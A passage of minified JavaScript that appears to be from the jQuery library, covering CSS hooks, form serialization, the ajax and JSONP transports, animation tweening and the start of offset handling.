n,r,i,o=[],a=0,s=e.length;for(;s>a;a++)r=e[a],r.style&&(o[a]=b._data(r,"olddisplay"),n=r.style.display,t?(o[a]||"none"!==n||(r.style.display=""),""===r.style.display&&nn(r)&&(o[a]=b._data(r,"olddisplay",un(r.nodeName)))):o[a]||(i=nn(r),(n&&"none"!==n||!i)&&b._data(r,"olddisplay",i?n:b.css(r,"display"))));for(a=0;s>a;a++)r=e[a],r.style&&(t&&"none"!==r.style.display&&""!==r.style.display||(r.style.display=t?o[a]||"":"none"));return e}b.fn.extend({css:function(e,n){return b.access(this,function(e,n,r){var i,o,a={},s=0;if(b.isArray(n)){for(o=Rt(e),i=n.length;i>s;s++)a[n[s]]=b.css(e,n[s],!1,o);return a}return r!==t?b.style(e,n,r):b.css(e,n)},e,n,arguments.length>1)},show:function(){return rn(this,!0)},hide:function(){return rn(this)},toggle:function(e){var t="boolean"==typeof e;return this.each(function(){(t?e:nn(this))?b(this).show():b(this).hide()})}}),b.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Wt(e,"opacity");return""===n?"1":n}}}},cssNumber:{columnCount:!0,fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":b.support.cssFloat?"cssFloat":"styleFloat"},style:function(e,n,r,i){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var o,a,s,u=b.camelCase(n),l=e.style;if(n=b.cssProps[u]||(b.cssProps[u]=tn(l,u)),s=b.cssHooks[n]||b.cssHooks[u],r===t)return s&&"get"in s&&(o=s.get(e,!1,i))!==t?o:l[n];if(a=typeof r,"string"===a&&(o=Jt.exec(r))&&(r=(o[1]+1)*o[2]+parseFloat(b.css(e,n)),a="number"),!(null==r||"number"===a&&isNaN(r)||("number"!==a||b.cssNumber[u]||(r+="px"),b.support.clearCloneStyle||""!==r||0!==n.indexOf("background")||(l[n]="inherit"),s&&"set"in s&&(r=s.set(e,r,i))===t)))try{l[n]=r}catch(c){}}},css:function(e,n,r,i){var o,a,s,u=b.camelCase(n);return n=b.cssProps[u]||(b.cssProps[u]=tn(e.style,u)),s=b.cssHooks[n]||b.cssHooks[u],s&&"get"in s&&(a=s.get(e,!0,r)),a===t&&(a=Wt(e,n,i)),"normal"===a&&n in Kt&&(a=Kt[n]),""===r||r?(o=parseFloat(a),r===!0||b.isNumeric(o)?o||0:a):a},swap:function(e,t,n,r){var i,o,a={};for(o in t)a[o]=e.style[o],e.style[o]=t[o];i=n.apply(e,r||[]);for(o in t)e.style[o]=a[o];return i}}),e.getComputedStyle?(Rt=function(t){return e.getComputedStyle(t,null)},Wt=function(e,n,r){var i,o,a,s=r||Rt(e),u=s?s.getPropertyValue(n)||s[n]:t,l=e.style;return s&&(""!==u||b.contains(e.ownerDocument,e)||(u=b.style(e,n)),Yt.test(u)&&Ut.test(n)&&(i=l.width,o=l.minWidth,a=l.maxWidth,l.minWidth=l.maxWidth=l.width=u,u=s.width,l.width=i,l.minWidth=o,l.maxWidth=a)),u}):o.documentElement.currentStyle&&(Rt=function(e){return e.currentStyle},Wt=function(e,n,r){var i,o,a,s=r||Rt(e),u=s?s[n]:t,l=e.style;return null==u&&l&&l[n]&&(u=l[n]),Yt.test(u)&&!zt.test(n)&&(i=l.left,o=e.runtimeStyle,a=o&&o.left,a&&(o.left=e.currentStyle.left),l.left="fontSize"===n?"1em":u,u=l.pixelLeft+"px",l.left=i,a&&(o.left=a)),""===u?"auto":u});function on(e,t,n){var r=Vt.exec(t);return r?Math.max(0,r[1]-(n||0))+(r[2]||"px"):t}function an(e,t,n,r,i){var o=n===(r?"border":"content")?4:"width"===t?1:0,a=0;for(;4>o;o+=2)"margin"===n&&(a+=b.css(e,n+Zt[o],!0,i)),r?("content"===n&&(a-=b.css(e,"padding"+Zt[o],!0,i)),"margin"!==n&&(a-=b.css(e,"border"+Zt[o]+"Width",!0,i))):(a+=b.css(e,"padding"+Zt[o],!0,i),"padding"!==n&&(a+=b.css(e,"border"+Zt[o]+"Width",!0,i)));return a}function sn(e,t,n){var r=!0,i="width"===t?e.offsetWidth:e.offsetHeight,o=Rt(e),a=b.support.boxSizing&&"border-box"===b.css(e,"boxSizing",!1,o);if(0>=i||null==i){if(i=Wt(e,t,o),(0>i||null==i)&&(i=e.style[t]),Yt.test(i))return i;r=a&&(b.support.boxSizingReliable||i===e.style[t]),i=parseFloat(i)||0}return i+an(e,t,n||(a?"border":"content"),r,o)+"px"}function un(e){var t=o,n=Gt[e];return n||(n=ln(e,t),"none"!==n&&n||(Pt=(Pt||b("<iframe frameborder='0' width='0' height='0'/>").css("cssText","display:block !important")).appendTo(t.documentElement),t=(Pt[0].contentWindow||Pt[0].contentDocument).document,t.write("<!doctype html><html><body>"),t.close(),n=ln(e,t),Pt.detach()),Gt[e]=n),n}function ln(e,t){var n=b(t.createElement(e)).appendTo(t.body),r=b.css(n[0],"display");return n.remove(),r}b.each(["height","width"],function(e,n){b.cssHooks[n]={get:function(e,r,i){return r?0===e.offsetWidth&&Xt.test(b.css(e,"display"))?b.swap(e,Qt,function(){return sn(e,n,i)}):sn(e,n,i):t},set:function(e,t,r){var i=r&&Rt(e);return on(e,t,r?an(e,n,r,b.support.boxSizing&&"border-box"===b.css(e,"boxSizing",!1,i),i):0)}}}),b.support.opacity||(b.cssHooks.opacity={get:function(e,t){return It.test((t&&e.currentStyle?e.currentStyle.filter:e.style.filter)||"")?.01*parseFloat(RegExp.$1)+"":t?"1":""},set:function(e,t){var n=e.style,r=e.currentStyle,i=b.isNumeric(t)?"alpha(opacity="+100*t+")":"",o=r&&r.filter||n.filter||"";n.zoom=1,(t>=1||""===t)&&""===b.trim(o.replace($t,""))&&n.removeAttribute&&(n.removeAttribute("filter"),""===t||r&&!r.filter)||(n.filter=$t.test(o)?o.replace($t,i):o+" "+i)}}),b(function(){b.support.reliableMarginRight||(b.cssHooks.marginRight={get:function(e,n){return n?b.swap(e,{display:"inline-block"},Wt,[e,"marginRight"]):t}}),!b.support.pixelPosition&&b.fn.position&&b.each(["top","left"],function(e,n){b.cssHooks[n]={get:function(e,r){return r?(r=Wt(e,n),Yt.test(r)?b(e).position()[n]+"px":r):t}}})}),b.expr&&b.expr.filters&&(b.expr.filters.hidden=function(e){return 0>=e.offsetWidth&&0>=e.offsetHeight||!b.support.reliableHiddenOffsets&&"none"===(e.style&&e.style.display||b.css(e,"display"))},b.expr.filters.visible=function(e){return!b.expr.filters.hidden(e)}),b.each({margin:"",padding:"",border:"Width"},function(e,t){b.cssHooks[e+t]={expand:function(n){var r=0,i={},o="string"==typeof n?n.split(" "):[n];for(;4>r;r++)i[e+Zt[r]+t]=o[r]||o[r-2]||o[0];return i}},Ut.test(e)||(b.cssHooks[e+t].set=on)});var cn=/%20/g,pn=/\[\]$/,fn=/\r?\n/g,dn=/^(?:submit|button|image|reset|file)$/i,hn=/^(?:input|select|textarea|keygen)/i;b.fn.extend({serialize:function(){return b.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=b.prop(this,"elements");return e?b.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!b(this).is(":disabled")&&hn.test(this.nodeName)&&!dn.test(e)&&(this.checked||!Nt.test(e))}).map(function(e,t){var n=b(this).val();return null==n?null:b.isArray(n)?b.map(n,function(e){return{name:t.name,value:e.replace(fn,"\r\n")}}):{name:t.name,value:n.replace(fn,"\r\n")}}).get()}}),b.param=function(e,n){var r,i=[],o=function(e,t){t=b.isFunction(t)?t():null==t?"":t,i[i.length]=encodeURIComponent(e)+"="+encodeURIComponent(t)};if(n===t&&(n=b.ajaxSettings&&b.ajaxSettings.traditional),b.isArray(e)||e.jquery&&!b.isPlainObject(e))b.each(e,function(){o(this.name,this.value)});else for(r in e)gn(r,e[r],n,o);return i.join("&").replace(cn,"+")};function gn(e,t,n,r){var i;if(b.isArray(t))b.each(t,function(t,i){n||pn.test(e)?r(e,i):gn(e+"["+("object"==typeof i?t:"")+"]",i,n,r)});else if(n||"object"!==b.type(t))r(e,t);else for(i in t)gn(e+"["+i+"]",t[i],n,r)}b.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu".split(" "),function(e,t){b.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),b.fn.hover=function(e,t){return this.mouseenter(e).mouseleave(t||e)};var mn,yn,vn=b.now(),bn=/\?/,xn=/#.*$/,wn=/([?&])_=[^&]*/,Tn=/^(.*?):[ \t]*([^\r\n]*)\r?$/gm,Nn=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Cn=/^(?:GET|HEAD)$/,kn=/^\/\//,En=/^([\w.+-]+:)(?:\/\/([^\/?#:]*)(?::(\d+)|)|)/,Sn=b.fn.load,An={},jn={},Dn="*/".concat("*");try{yn=a.href}catch(Ln){yn=o.createElement("a"),yn.href="",yn=yn.href}mn=En.exec(yn.toLowerCase())||[];function Hn(e){return function(t,n){"string"!=typeof t&&(n=t,t="*");var r,i=0,o=t.toLowerCase().match(w)||[];if(b.isFunction(n))while(r=o[i++])"+"===r[0]?(r=r.slice(1)||"*",(e[r]=e[r]||[]).unshift(n)):(e[r]=e[r]||[]).push(n)}}function qn(e,n,r,i){var o={},a=e===jn;function s(u){var l;return o[u]=!0,b.each(e[u]||[],function(e,u){var c=u(n,r,i);return"string"!=typeof c||a||o[c]?a?!(l=c):t:(n.dataTypes.unshift(c),s(c),!1)}),l}return s(n.dataTypes[0])||!o["*"]&&s("*")}function Mn(e,n){var r,i,o=b.ajaxSettings.flatOptions||{};for(i in n)n[i]!==t&&((o[i]?e:r||(r={}))[i]=n[i]);return r&&b.extend(!0,e,r),e}b.fn.load=function(e,n,r){if("string"!=typeof e&&Sn)return Sn.apply(this,arguments);var i,o,a,s=this,u=e.indexOf(" ");return u>=0&&(i=e.slice(u,e.length),e=e.slice(0,u)),b.isFunction(n)?(r=n,n=t):n&&"object"==typeof n&&(a="POST"),s.length>0&&b.ajax({url:e,type:a,dataType:"html",data:n}).done(function(e){o=arguments,s.html(i?b("<div>").append(b.parseHTML(e)).find(i):e)}).complete(r&&function(e,t){s.each(r,o||[e.responseText,t,e])}),this},b.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){b.fn[t]=function(e){return this.on(t,e)}}),b.each(["get","post"],function(e,n){b[n]=function(e,r,i,o){return b.isFunction(r)&&(o=o||i,i=r,r=t),b.ajax({url:e,type:n,dataType:o,data:r,success:i})}}),b.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:yn,type:"GET",isLocal:Nn.test(mn[1]),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":Dn,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText"},converters:{"* text":e.String,"text html":!0,"text json":b.parseJSON,"text xml":b.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?Mn(Mn(e,b.ajaxSettings),t):Mn(b.ajaxSettings,e)},ajaxPrefilter:Hn(An),ajaxTransport:Hn(jn),ajax:function(e,n){"object"==typeof e&&(n=e,e=t),n=n||{};var r,i,o,a,s,u,l,c,p=b.ajaxSetup({},n),f=p.context||p,d=p.context&&(f.nodeType||f.jquery)?b(f):b.event,h=b.Deferred(),g=b.Callbacks("once memory"),m=p.statusCode||{},y={},v={},x=0,T="canceled",N={readyState:0,getResponseHeader:function(e){var t;if(2===x){if(!c){c={};while(t=Tn.exec(a))c[t[1].toLowerCase()]=t[2]}t=c[e.toLowerCase()]}return null==t?null:t},getAllResponseHeaders:function(){return 2===x?a:null},setRequestHeader:function(e,t){var n=e.toLowerCase();return x||(e=v[n]=v[n]||e,y[e]=t),this},overrideMimeType:function(e){return x||(p.mimeType=e),this},statusCode:function(e){var t;if(e)if(2>x)for(t in e)m[t]=[m[t],e[t]];else N.always(e[N.status]);return this},abort:function(e){var t=e||T;return l&&l.abort(t),k(0,t),this}};if(h.promise(N).complete=g.add,N.success=N.done,N.error=N.fail,p.url=((e||p.url||yn)+"").replace(xn,"").replace(kn,mn[1]+"//"),p.type=n.method||n.type||p.method||p.type,p.dataTypes=b.trim(p.dataType||"*").toLowerCase().match(w)||[""],null==p.crossDomain&&(r=En.exec(p.url.toLowerCase()),p.crossDomain=!(!r||r[1]===mn[1]&&r[2]===mn[2]&&(r[3]||("http:"===r[1]?80:443))==(mn[3]||("http:"===mn[1]?80:443)))),p.data&&p.processData&&"string"!=typeof p.data&&(p.data=b.param(p.data,p.traditional)),qn(An,p,n,N),2===x)return N;u=p.global,u&&0===b.active++&&b.event.trigger("ajaxStart"),p.type=p.type.toUpperCase(),p.hasContent=!Cn.test(p.type),o=p.url,p.hasContent||(p.data&&(o=p.url+=(bn.test(o)?"&":"?")+p.data,delete p.data),p.cache===!1&&(p.url=wn.test(o)?o.replace(wn,"$1_="+vn++):o+(bn.test(o)?"&":"?")+"_="+vn++)),p.ifModified&&(b.lastModified[o]&&N.setRequestHeader("If-Modified-Since",b.lastModified[o]),b.etag[o]&&N.setRequestHeader("If-None-Match",b.etag[o])),(p.data&&p.hasContent&&p.contentType!==!1||n.contentType)&&N.setRequestHeader("Content-Type",p.contentType),N.setRequestHeader("Accept",p.dataTypes[0]&&p.accepts[p.dataTypes[0]]?p.accepts[p.dataTypes[0]]+("*"!==p.dataTypes[0]?", "+Dn+"; q=0.01":""):p.accepts["*"]);for(i in p.headers)N.setRequestHeader(i,p.headers[i]);if(p.beforeSend&&(p.beforeSend.call(f,N,p)===!1||2===x))return N.abort();T="abort";for(i in{success:1,error:1,complete:1})N[i](p[i]);if(l=qn(jn,p,n,N)){N.readyState=1,u&&d.trigger("ajaxSend",[N,p]),p.async&&p.timeout>0&&(s=setTimeout(function(){N.abort("timeout")},p.timeout));try{x=1,l.send(y,k)}catch(C){if(!(2>x))throw C;k(-1,C)}}else k(-1,"No Transport");function k(e,n,r,i){var c,y,v,w,T,C=n;2!==x&&(x=2,s&&clearTimeout(s),l=t,a=i||"",N.readyState=e>0?4:0,r&&(w=_n(p,N,r)),e>=200&&300>e||304===e?(p.ifModified&&(T=N.getResponseHeader("Last-Modified"),T&&(b.lastModified[o]=T),T=N.getResponseHeader("etag"),T&&(b.etag[o]=T)),204===e?(c=!0,C="nocontent"):304===e?(c=!0,C="notmodified"):(c=Fn(p,w),C=c.state,y=c.data,v=c.error,c=!v)):(v=C,(e||!C)&&(C="error",0>e&&(e=0))),N.status=e,N.statusText=(n||C)+"",c?h.resolveWith(f,[y,C,N]):h.rejectWith(f,[N,C,v]),N.statusCode(m),m=t,u&&d.trigger(c?"ajaxSuccess":"ajaxError",[N,p,c?y:v]),g.fireWith(f,[N,C]),u&&(d.trigger("ajaxComplete",[N,p]),--b.active||b.event.trigger("ajaxStop")))}return N},getScript:function(e,n){return b.get(e,t,n,"script")},getJSON:function(e,t,n){return b.get(e,t,n,"json")}});function _n(e,n,r){var i,o,a,s,u=e.contents,l=e.dataTypes,c=e.responseFields;for(s in c)s in r&&(n[c[s]]=r[s]);while("*"===l[0])l.shift(),o===t&&(o=e.mimeType||n.getResponseHeader("Content-Type"));if(o)for(s in u)if(u[s]&&u[s].test(o)){l.unshift(s);break}if(l[0]in r)a=l[0];else{for(s in r){if(!l[0]||e.converters[s+" "+l[0]]){a=s;break}i||(i=s)}a=a||i}return a?(a!==l[0]&&l.unshift(a),r[a]):t}function Fn(e,t){var n,r,i,o,a={},s=0,u=e.dataTypes.slice(),l=u[0];if(e.dataFilter&&(t=e.dataFilter(t,e.dataType)),u[1])for(i in e.converters)a[i.toLowerCase()]=e.converters[i];for(;r=u[++s];)if("*"!==r){if("*"!==l&&l!==r){if(i=a[l+" "+r]||a["* "+r],!i)for(n in a)if(o=n.split(" "),o[1]===r&&(i=a[l+" "+o[0]]||a["* "+o[0]])){i===!0?i=a[n]:a[n]!==!0&&(r=o[0],u.splice(s--,0,r));break}if(i!==!0)if(i&&e["throws"])t=i(t);else try{t=i(t)}catch(c){return{state:"parsererror",error:i?c:"No conversion from "+l+" to "+r}}}l=r}return{state:"success",data:t}}b.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/(?:java|ecma)script/},converters:{"text script":function(e){return b.globalEval(e),e}}}),b.ajaxPrefilter("script",function(e){e.cache===t&&(e.cache=!1),e.crossDomain&&(e.type="GET",e.global=!1)}),b.ajaxTransport("script",function(e){if(e.crossDomain){var n,r=o.head||b("head")[0]||o.documentElement;return{send:function(t,i){n=o.createElement("script"),n.async=!0,e.scriptCharset&&(n.charset=e.scriptCharset),n.src=e.url,n.onload=n.onreadystatechange=function(e,t){(t||!n.readyState||/loaded|complete/.test(n.readyState))&&(n.onload=n.onreadystatechange=null,n.parentNode&&n.parentNode.removeChild(n),n=null,t||i(200,"success"))},r.insertBefore(n,r.firstChild)},abort:function(){n&&n.onload(t,!0)}}}});var On=[],Bn=/(=)\?(?=&|$)|\?\?/;b.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=On.pop()||b.expando+"_"+vn++;return this[e]=!0,e}}),b.ajaxPrefilter("json jsonp",function(n,r,i){var o,a,s,u=n.jsonp!==!1&&(Bn.test(n.url)?"url":"string"==typeof n.data&&!(n.contentType||"").indexOf("application/x-www-form-urlencoded")&&Bn.test(n.data)&&"data");return u||"jsonp"===n.dataTypes[0]?(o=n.jsonpCallback=b.isFunction(n.jsonpCallback)?n.jsonpCallback():n.jsonpCallback,u?n[u]=n[u].replace(Bn,"$1"+o):n.jsonp!==!1&&(n.url+=(bn.test(n.url)?"&":"?")+n.jsonp+"="+o),n.converters["script json"]=function(){return s||b.error(o+" was not called"),s[0]},n.dataTypes[0]="json",a=e[o],e[o]=function(){s=arguments},i.always(function(){e[o]=a,n[o]&&(n.jsonpCallback=r.jsonpCallback,On.push(o)),s&&b.isFunction(a)&&a(s[0]),s=a=t}),"script"):t});var Pn,Rn,Wn=0,$n=e.ActiveXObject&&function(){var e;for(e in Pn)Pn[e](t,!0)};function In(){try{return new e.XMLHttpRequest}catch(t){}}function zn(){try{return new e.ActiveXObject("Microsoft.XMLHTTP")}catch(t){}}b.ajaxSettings.xhr=e.ActiveXObject?function(){return!this.isLocal&&In()||zn()}:In,Rn=b.ajaxSettings.xhr(),b.support.cors=!!Rn&&"withCredentials"in Rn,Rn=b.support.ajax=!!Rn,Rn&&b.ajaxTransport(function(n){if(!n.crossDomain||b.support.cors){var r;return{send:function(i,o){var a,s,u=n.xhr();if(n.username?u.open(n.type,n.url,n.async,n.username,n.password):u.open(n.type,n.url,n.async),n.xhrFields)for(s in n.xhrFields)u[s]=n.xhrFields[s];n.mimeType&&u.overrideMimeType&&u.overrideMimeType(n.mimeType),n.crossDomain||i["X-Requested-With"]||(i["X-Requested-With"]="XMLHttpRequest");try{for(s in i)u.setRequestHeader(s,i[s])}catch(l){}u.send(n.hasContent&&n.data||null),r=function(e,i){var s,l,c,p;try{if(r&&(i||4===u.readyState))if(r=t,a&&(u.onreadystatechange=b.noop,$n&&delete Pn[a]),i)4!==u.readyState&&u.abort();else{p={},s=u.status,l=u.getAllResponseHeaders(),"string"==typeof u.responseText&&(p.text=u.responseText);try{c=u.statusText}catch(f){c=""}s||!n.isLocal||n.crossDomain?1223===s&&(s=204):s=p.text?200:404}}catch(d){i||o(-1,d)}p&&o(s,c,p,l)},n.async?4===u.readyState?setTimeout(r):(a=++Wn,$n&&(Pn||(Pn={},b(e).unload($n)),Pn[a]=r),u.onreadystatechange=r):r()},abort:function(){r&&r(t,!0)}}}});var Xn,Un,Vn=/^(?:toggle|show|hide)$/,Yn=RegExp("^(?:([+-])=|)("+x+")([a-z%]*)$","i"),Jn=/queueHooks$/,Gn=[nr],Qn={"*":[function(e,t){var n,r,i=this.createTween(e,t),o=Yn.exec(t),a=i.cur(),s=+a||0,u=1,l=20;if(o){if(n=+o[2],r=o[3]||(b.cssNumber[e]?"":"px"),"px"!==r&&s){s=b.css(i.elem,e,!0)||n||1;do u=u||".5",s/=u,b.style(i.elem,e,s+r);while(u!==(u=i.cur()/a)&&1!==u&&--l)}i.unit=r,i.start=s,i.end=o[1]?s+(o[1]+1)*n:n}return i}]};function Kn(){return setTimeout(function(){Xn=t}),Xn=b.now()}function Zn(e,t){b.each(t,function(t,n){var r=(Qn[t]||[]).concat(Qn["*"]),i=0,o=r.length;for(;o>i;i++)if(r[i].call(e,t,n))return})}function er(e,t,n){var r,i,o=0,a=Gn.length,s=b.Deferred().always(function(){delete u.elem}),u=function(){if(i)return!1;var t=Xn||Kn(),n=Math.max(0,l.startTime+l.duration-t),r=n/l.duration||0,o=1-r,a=0,u=l.tweens.length;for(;u>a;a++)l.tweens[a].run(o);return s.notifyWith(e,[l,o,n]),1>o&&u?n:(s.resolveWith(e,[l]),!1)},l=s.promise({elem:e,props:b.extend({},t),opts:b.extend(!0,{specialEasing:{}},n),originalProperties:t,originalOptions:n,startTime:Xn||Kn(),duration:n.duration,tweens:[],createTween:function(t,n){var r=b.Tween(e,l.opts,t,n,l.opts.specialEasing[t]||l.opts.easing);return l.tweens.push(r),r},stop:function(t){var n=0,r=t?l.tweens.length:0;if(i)return this;for(i=!0;r>n;n++)l.tweens[n].run(1);return t?s.resolveWith(e,[l,t]):s.rejectWith(e,[l,t]),this}}),c=l.props;for(tr(c,l.opts.specialEasing);a>o;o++)if(r=Gn[o].call(l,e,c,l.opts))return r;return Zn(l,c),b.isFunction(l.opts.start)&&l.opts.start.call(e,l),b.fx.timer(b.extend(u,{elem:e,anim:l,queue:l.opts.queue})),l.progress(l.opts.progress).done(l.opts.done,l.opts.complete).fail(l.opts.fail).always(l.opts.always)}function tr(e,t){var n,r,i,o,a;for(i in e)if(r=b.camelCase(i),o=t[r],n=e[i],b.isArray(n)&&(o=n[1],n=e[i]=n[0]),i!==r&&(e[r]=n,delete e[i]),a=b.cssHooks[r],a&&"expand"in a){n=a.expand(n),delete e[r];for(i in n)i in e||(e[i]=n[i],t[i]=o)}else t[r]=o}b.Animation=b.extend(er,{tweener:function(e,t){b.isFunction(e)?(t=e,e=["*"]):e=e.split(" ");var n,r=0,i=e.length;for(;i>r;r++)n=e[r],Qn[n]=Qn[n]||[],Qn[n].unshift(t)},prefilter:function(e,t){t?Gn.unshift(e):Gn.push(e)}});function nr(e,t,n){var r,i,o,a,s,u,l,c,p,f=this,d=e.style,h={},g=[],m=e.nodeType&&nn(e);n.queue||(c=b._queueHooks(e,"fx"),null==c.unqueued&&(c.unqueued=0,p=c.empty.fire,c.empty.fire=function(){c.unqueued||p()}),c.unqueued++,f.always(function(){f.always(function(){c.unqueued--,b.queue(e,"fx").length||c.empty.fire()})})),1===e.nodeType&&("height"in t||"width"in t)&&(n.overflow=[d.overflow,d.overflowX,d.overflowY],"inline"===b.css(e,"display")&&"none"===b.css(e,"float")&&(b.support.inlineBlockNeedsLayout&&"inline"!==un(e.nodeName)?d.zoom=1:d.display="inline-block")),n.overflow&&(d.overflow="hidden",b.support.shrinkWrapBlocks||f.always(function(){d.overflow=n.overflow[0],d.overflowX=n.overflow[1],d.overflowY=n.overflow[2]}));for(i in t)if(a=t[i],Vn.exec(a)){if(delete t[i],u=u||"toggle"===a,a===(m?"hide":"show"))continue;g.push(i)}if(o=g.length){s=b._data(e,"fxshow")||b._data(e,"fxshow",{}),"hidden"in s&&(m=s.hidden),u&&(s.hidden=!m),m?b(e).show():f.done(function(){b(e).hide()}),f.done(function(){var t;b._removeData(e,"fxshow");for(t in h)b.style(e,t,h[t])});for(i=0;o>i;i++)r=g[i],l=f.createTween(r,m?s[r]:0),h[r]=s[r]||b.style(e,r),r in s||(s[r]=l.start,m&&(l.end=l.start,l.start="width"===r||"height"===r?1:0))}}function rr(e,t,n,r,i){return new rr.prototype.init(e,t,n,r,i)}b.Tween=rr,rr.prototype={constructor:rr,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||"swing",this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(b.cssNumber[n]?"":"px")},cur:function(){var e=rr.propHooks[this.prop];return e&&e.get?e.get(this):rr.propHooks._default.get(this)},run:function(e){var t,n=rr.propHooks[this.prop];return this.pos=t=this.options.duration?b.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):rr.propHooks._default.set(this),this}},rr.prototype.init.prototype=rr.prototype,rr.propHooks={_default:{get:function(e){var t;return null==e.elem[e.prop]||e.elem.style&&null!=e.elem.style[e.prop]?(t=b.css(e.elem,e.prop,""),t&&"auto"!==t?t:0):e.elem[e.prop]},set:function(e){b.fx.step[e.prop]?b.fx.step[e.prop](e):e.elem.style&&(null!=e.elem.style[b.cssProps[e.prop]]||b.cssHooks[e.prop])?b.style(e.elem,e.prop,e.now+e.unit):e.elem[e.prop]=e.now}}},rr.propHooks.scrollTop=rr.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},b.each(["toggle","show","hide"],function(e,t){var n=b.fn[t];b.fn[t]=function(e,r,i){return null==e||"boolean"==typeof e?n.apply(this,arguments):this.animate(ir(t,!0),e,r,i)}}),b.fn.extend({fadeTo:function(e,t,n,r){return this.filter(nn).css("opacity",0).show().end().animate({opacity:t},e,n,r)},animate:function(e,t,n,r){var i=b.isEmptyObject(e),o=b.speed(t,n,r),a=function(){var t=er(this,b.extend({},e),o);a.finish=function(){t.stop(!0)},(i||b._data(this,"finish"))&&t.stop(!0)};return a.finish=a,i||o.queue===!1?this.each(a):this.queue(o.queue,a)},stop:function(e,n,r){var i=function(e){var t=e.stop;delete e.stop,t(r)};return"string"!=typeof e&&(r=n,n=e,e=t),n&&e!==!1&&this.queue(e||"fx",[]),this.each(function(){var t=!0,n=null!=e&&e+"queueHooks",o=b.timers,a=b._data(this);if(n)a[n]&&a[n].stop&&i(a[n]);else for(n in a)a[n]&&a[n].stop&&Jn.test(n)&&i(a[n]);for(n=o.length;n--;)o[n].elem!==this||null!=e&&o[n].queue!==e||(o[n].anim.stop(r),t=!1,o.splice(n,1));(t||!r)&&b.dequeue(this,e)})},finish:function(e){return e!==!1&&(e=e||"fx"),this.each(function(){var t,n=b._data(this),r=n[e+"queue"],i=n[e+"queueHooks"],o=b.timers,a=r?r.length:0;for(n.finish=!0,b.queue(this,e,[]),i&&i.cur&&i.cur.finish&&i.cur.finish.call(this),t=o.length;t--;)o[t].elem===this&&o[t].queue===e&&(o[t].anim.stop(!0),o.splice(t,1));for(t=0;a>t;t++)r[t]&&r[t].finish&&r[t].finish.call(this);delete n.finish})}});function ir(e,t){var n,r={height:e},i=0;for(t=t?1:0;4>i;i+=2-t)n=Zt[i],r["margin"+n]=r["padding"+n]=e;return t&&(r.opacity=r.width=e),r}b.each({slideDown:ir("show"),slideUp:ir("hide"),slideToggle:ir("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(e,t){b.fn[e]=function(e,n,r){return this.animate(t,e,n,r)}}),b.speed=function(e,t,n){var r=e&&"object"==typeof e?b.extend({},e):{complete:n||!n&&t||b.isFunction(e)&&e,duration:e,easing:n&&t||t&&!b.isFunction(t)&&t};return r.duration=b.fx.off?0:"number"==typeof r.duration?r.duration:r.duration in b.fx.speeds?b.fx.speeds[r.duration]:b.fx.speeds._default,(null==r.queue||r.queue===!0)&&(r.queue="fx"),r.old=r.complete,r.complete=function(){b.isFunction(r.old)&&r.old.call(this),r.queue&&b.dequeue(this,r.queue)},r},b.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2}},b.timers=[],b.fx=rr.prototype.init,b.fx.tick=function(){var e,n=b.timers,r=0;for(Xn=b.now();n.length>r;r++)e=n[r],e()||n[r]!==e||n.splice(r--,1);n.length||b.fx.stop(),Xn=t},b.fx.timer=function(e){e()&&b.timers.push(e)&&b.fx.start()},b.fx.interval=13,b.fx.start=function(){Un||(Un=setInterval(b.fx.tick,b.fx.interval))},b.fx.stop=function(){clearInterval(Un),Un=null},b.fx.speeds={slow:600,fast:200,_default:400},b.fx.step={},b.expr&&b.expr.filters&&(b.expr.filters.animated=function(e){return b.grep(b.timers,function(t){return e===t.elem}).length}),b.fn.offset=function(e){if(arguments.length)return e===t?this:this.each(function(t){b.offset.setOffset(this,e,t)});var n,r,o={top:0,left:0},a=this[0],s=a&&a.ownerDocument;if(s)return n=s.documentElement,b.contains(n,a)?(typeof a.getBoundingClientRect!==i&&(o=a.getBoundingClientRect()),r=or(s),{top:o.top+(r.pageYOffset||n.scrollTop)-(n.clientTop||0),left:o.left+(r.pageXOffset||n.scrollLeft)-(n.clientLeft||0)}):o},b.offset={setOffset:function(e,t,n){var r=b.css(e,"position");"static"===r&&(e.style.position="relative");var i=b(e),o=i.offset(),a=b.css(e,"top"),s=b.css(e,"left"),u=("absolute"===r||"fixed"===r)&&b.inArray("auto",[a,s])>-1,l={},c={},p,f;u?(c=i.position(),p=c.top,f=c.left):(p=parseFloat(a)||0,f=parseFloat(s)||0),b.isFunction(t)&&(t=t.call(e,n,o)),null!=t.top&&(l.top=t.top-o.top+p),null!=t.left&&(l.left=t.left-o.left+f),"using"in t?t.using.call(e,l):i.css(l)}},b.fn.extend({position:function(){if(this[0]){var 